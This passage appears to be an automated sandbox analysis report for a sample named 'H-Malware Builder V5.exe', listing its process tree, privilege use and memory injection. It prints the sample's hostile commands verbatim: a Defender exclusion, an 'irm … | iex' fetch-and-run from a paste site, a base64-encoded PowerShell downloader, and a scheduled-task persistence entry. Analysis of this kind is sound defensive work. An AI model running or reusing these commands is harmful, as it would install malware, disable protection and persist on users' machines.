1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1420	powershell.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
4272	powershell.exe
4272	powershell.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1420	powershell.exe
1332	dllhost.exe
1332	dllhost.exe
4272	powershell.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
4272	powershell.exe
4272	powershell.exe
1332	dllhost.exe
1332	dllhost.exe
1420	powershell.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
4272	powershell.exe
4272	powershell.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 4 IoCs

Processes:

7zFM.exeExplorer.EXEtaskmgr.exetaskhostw.exe

pid process

3896 7zFM.exe
3432 Explorer.EXE
5656 taskmgr.exe
3060 taskhostw.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

7zFM.exepowershell.exeStub.exedllhost.exepowershell.exepowershell.exeExplorer.EXEmousocoreworker.exeRuntimeBroker.exesvchost.exepowershell.exe

description	pid	process
Token: SeRestorePrivilege	3896	7zFM.exe
Token: 35	3896	7zFM.exe
Token: SeSecurityPrivilege	3896	7zFM.exe
Token: SeSecurityPrivilege	3896	7zFM.exe
Token: SeSecurityPrivilege	3896	7zFM.exe
Token: SeDebugPrivilege	2924	powershell.exe
Token: SeDebugPrivilege	1944	Stub.exe
Token: SeDebugPrivilege	1944	Stub.exe
Token: SeDebugPrivilege	1332	dllhost.exe
Token: SeDebugPrivilege	1420	powershell.exe
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	4812	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4812	mousocoreworker.exe
Token: SeShutdownPrivilege	4812	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4812	mousocoreworker.exe
Token: SeShutdownPrivilege	3948	RuntimeBroker.exe
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeAuditPrivilege	2620	svchost.exe
Token: SeDebugPrivilege	3416	powershell.exe
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

7zFM.exeExplorer.EXEtaskmgr.exe

pid	process
3896	7zFM.exe
3896	7zFM.exe
3896	7zFM.exe
3896	7zFM.exe
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
3432	Explorer.EXE
3432	Explorer.EXE
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe
5656	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

Explorer.EXE

pid	process
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

Explorer.EXESystemSettings.exeConhost.exeConhost.exe

pid	process
3432	Explorer.EXE
3432	Explorer.EXE
4384
3432	Explorer.EXE
3432	Explorer.EXE
3364	SystemSettings.exe
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3432	Explorer.EXE
3464	Conhost.exe
2132	Conhost.exe

Suspicious use of UnmapMainImage 2 IoCs

Processes:

RuntimeBroker.exeRuntimeBroker.exe

pid process

2776 RuntimeBroker.exe
2120 RuntimeBroker.exe

pid	process
2776	RuntimeBroker.exe
2120	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

H-Malware Builder V5.exeStub.execmd.exedllhost.exe

description	pid	process	target process
PID 4444 wrote to memory of 2924	4444	H-Malware Builder V5.exe	powershell.exe
PID 4444 wrote to memory of 2924	4444	H-Malware Builder V5.exe	powershell.exe
PID 4444 wrote to memory of 1944	4444	H-Malware Builder V5.exe	Stub.exe
PID 4444 wrote to memory of 1944	4444	H-Malware Builder V5.exe	Stub.exe
PID 4444 wrote to memory of 3424	4444	H-Malware Builder V5.exe	H-Malware Builder V5.exe
PID 4444 wrote to memory of 3424	4444	H-Malware Builder V5.exe	H-Malware Builder V5.exe
PID 1944 wrote to memory of 1332	1944	Stub.exe	dllhost.exe
PID 1944 wrote to memory of 1332	1944	Stub.exe	dllhost.exe
PID 1944 wrote to memory of 1332	1944	Stub.exe	dllhost.exe
PID 1944 wrote to memory of 1332	1944	Stub.exe	dllhost.exe
PID 1944 wrote to memory of 1332	1944	Stub.exe	dllhost.exe
PID 1944 wrote to memory of 1332	1944	Stub.exe	dllhost.exe
PID 1944 wrote to memory of 1332	1944	Stub.exe	dllhost.exe
PID 1944 wrote to memory of 1332	1944	Stub.exe	dllhost.exe
PID 1944 wrote to memory of 1332	1944	Stub.exe	dllhost.exe
PID 1944 wrote to memory of 1332	1944	Stub.exe	dllhost.exe
PID 1944 wrote to memory of 1332	1944	Stub.exe	dllhost.exe
PID 1944 wrote to memory of 3540	1944	Stub.exe	cmd.exe
PID 1944 wrote to memory of 3540	1944	Stub.exe	cmd.exe
PID 1944 wrote to memory of 1404	1944	Stub.exe	SCHTASKS.exe
PID 1944 wrote to memory of 1404	1944	Stub.exe	SCHTASKS.exe
PID 1944 wrote to memory of 1320	1944	Stub.exe	SCHTASKS.exe
PID 1944 wrote to memory of 1320	1944	Stub.exe	SCHTASKS.exe
PID 3540 wrote to memory of 1420	3540	cmd.exe	powershell.exe
PID 3540 wrote to memory of 1420	3540	cmd.exe	powershell.exe
PID 1332 wrote to memory of 616	1332	dllhost.exe	winlogon.exe
PID 1332 wrote to memory of 676	1332	dllhost.exe	lsass.exe
PID 1332 wrote to memory of 948	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 60	1332	dllhost.exe	dwm.exe
PID 1332 wrote to memory of 516	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 816	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1104	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1124	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1132	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1184	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1260	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1312	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1348	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1408	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1488	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1532	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1544	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1652	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1700	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1712	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1796	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1820	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1912	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1920	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1972	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1980	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 1684	1332	dllhost.exe	spoolsv.exe
PID 1332 wrote to memory of 2168	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 2212	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 2312	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 2400	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 2408	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 2576	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 2620	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 2640	1332	dllhost.exe	sysmon.exe
PID 1332 wrote to memory of 2688	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 2740	1332	dllhost.exe	svchost.exe
PID 1332 wrote to memory of 2852	1332	dllhost.exe	sihost.exe
PID 1332 wrote to memory of 2912	1332	dllhost.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:60

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{595e5186-d687-4ee3-8bce-f5c690a50991}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1332

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Modifies data under HKEY_USERS
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:516

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1104

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3060

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1408

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
- Modifies registry class
PID:2852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1532

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1912

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1980

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2168

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2620

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2640

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2912

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3352

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Drops file in System32 directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:3432

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Hidden-Malware-BuilderV5-main.zip"
2⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3896

C:\Users\Admin\Desktop\Hidden-Malware-BuilderV5-main\H-Malware Builder V5.exe
"C:\Users\Admin\Desktop\Hidden-Malware-BuilderV5-main\H-Malware Builder V5.exe"
2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4444

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2924

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1944

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"
4⤵
- Suspicious use of WriteProcessMemory
PID:3540

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:4320

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "irm pastie.io/raw/fgaazw | iex"
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABzAGUAdAB0AGkAbgBnAHMAIAA9ACAAJwB7ACIAVwBEACIAOgAgAGYAYQBsAHMAZQAsACAAIgBhAGQAbQBpAG4AcgB1AG4AIgA6ACAAZgBhAGwAcwBlAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuADsAJAByAGEAbgBkAG8AbQBTAHQAcgBpAG4AZwAgAD0AIAAiAGEAbQBkAHIAMQBpAHkAbAB0AFQAIgA7AGkAZgAgACgAJABzAGUAdAB0AGkAbgBnAHMALgBXAEQAKQAgAHsAJABzAGUAdAB0AGkAbgBnAHMALgBhAGQAbQBpAG4AcgB1AG4AIAA9ACAAJAB0AHIAdQBlADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBuAGkAbgBoAHAAbgAxADMAMwA3AC8ARABpAHMAYQBiAGwAZQAtAFcAaQBuAGQAbwB3AHMALQBEAGUAZgBlAG4AZABlAHIALwBtAGEAaQBuAC8AcwBvAHUAcgBjAGUALgBiAGEAdAAnACwAIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAkAHIAYQBuAGQAbwBtAFMAdAByAGkAbgBnACAAKwAgACcALgBiAGEAdAAnACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAkAHIAYQBuAGQAbwBtAFMAdAByAGkAbgBnACAAKwAgACcALgBiAGEAdAAnACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AVwBhAGkAdAAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwA7AH0AOwBpAGYAIAAoACQAcwBlAHQAdABpAG4AZwBzAC4AYQBkAG0AaQBuAHIAdQBuACkAIAB7ACQAdQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAE0AYQBsAHcAYQByAGUAVABlAGEAbQAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAcgB2AGkAYwBlAC8AcgBhAHcALwBtAGEAaQBuAC8AUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnADsAJABvAHUAdABwAHUAdABQAGEAdABoACAAPQAgACQAZQBuAHYAOgBUAEUATQBQACAAKwAgACcAXAAnACAAKwAgACcAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAdQByAGwALAAgACQAbwB1AHQAcAB1AHQAUABhAHQAaAApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAbwB1AHQAcAB1AHQAUABhAHQAaAAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwA7AH0AZQBsAHMAZQAgAHsAJAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8ATQBhAGwAdwBhAHIAZQBUAGUAYQBtAC8AUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALwByAGEAdwAvAG0AYQBpAG4ALwBTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwBlAHIAdgBpAGMAZQAuAGUAeABlACcAOwAkAG8AdQB0AHAAdQB0AFAAYQB0AGgAIAA9ACAAJABlAG4AdgA6AFQARQBNAFAAIAArACAAJwBcACcAIAArACAAJwBTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwBlAHIAdgBpAGMAZQAuAGUAeABlACcAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACAAJABvAHUAdABwAHUAdABQAGEAdABoACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABvAHUAdABwAHUAdABQAGEAdABoADsAfQA=
6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4272

C:\Windows\SYSTEM32\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST
4⤵
- Scheduled Task/Job: Scheduled Task
PID:1404

C:\Windows\SYSTEM32\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST
4⤵
- Scheduled Task/Job: Scheduled Task
PID:1320

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:2772

C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
3⤵
- Executes dropped EXE
PID:3424

C:\Users\Admin\Desktop\Hidden-Malware-BuilderV5-main\H-Malware Builder V5.exe
"C:\Users\Admin\Desktop\Hidden-Malware-BuilderV5-main\H-Malware Builder V5.exe"
2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
PID:4364

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:3416

C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
3⤵
- Executes dropped EXE
PID:2200

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2200 -s 952
4⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:3896

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
2⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
PID:5656

C:\Users\Admin\Desktop\Hidden-Malware-BuilderV5-main\H-Malware Builder V5.exe
"C:\Users\Admin\Desktop\Hidden-Malware-BuilderV5-main\H-Malware Builder V5.exe"
2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
PID:3804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
3⤵
